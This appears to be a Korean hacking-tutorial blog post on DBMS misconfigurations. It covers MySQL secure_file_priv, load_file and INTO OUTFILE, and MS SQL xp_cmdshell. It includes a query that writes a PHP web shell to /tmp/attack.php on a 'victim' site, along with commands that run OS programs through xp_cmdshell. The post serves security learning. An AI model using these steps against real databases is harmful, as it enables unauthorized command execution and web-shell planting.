Missconfiguration DBMS
MySQL
my.cnf
MySQL은 mysql이라는 user의 권한으로 파일 관련된 작업을 수행한다. my.cnf 파일 안의 설정 값 secure_file_priv의 설정에 따라 load_file, into outfile을 실행할 수 있다. 파일에 대한 관련 작업을 할 때는 디렉터리 / 파일의 권한을 가지고 있어야 한다.
select @@secure_file_priv; # 설정 값 조회
load_file
파일을 로드하는 함수
select load_file('/var/lib/mysql-files/tempfile');
lnto outfile
쿼리 값이나 변수를 파일에 쓸 수 있다.
SELECT ... INTO variable # column 값을 변수에 저장
SELECT ... INTO OUTFILE 'filename' # 쿼리 결과를 파일에 저장(rows)
SELECT ... INTO DUMPFILE 'filename' # 쿼리 결과를 파일에 저장(single)
# 명령어 저장
select '<? system(`ls`)?>' into outfile '/tmp/attack.php';
# http://victim.com/tmp/attack.php
MS SQL
xp_cmdshell
OS명령어를 사용할 수 있는 함수. SQL Server 2005부터는 default로 비활성화되어있어서 기능을 활성화하지 않는 이상 실행 불가능
# 설정 값 조회
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'
# 명령어 실행
EXEC xp_cmdshell "id";
EXEC master.dbo.xp_cmdshell 'pwd';
❗ 저작권
'Hacking > Web' 카테고리의 다른 글
[Web Hacking] Flask Debugger PIN Exploit (0) | 2022.07.31 |
---|---|
[Web Hacking] DNS rebinding (0) | 2022.07.30 |
[Web Hacking] SSRF (0) | 2022.07.25 |
[Web Hacking] Command Injection (0) | 2022.07.24 |
[Web Hacking] No SQL Injection(Mongo DB) (0) | 2022.07.23 |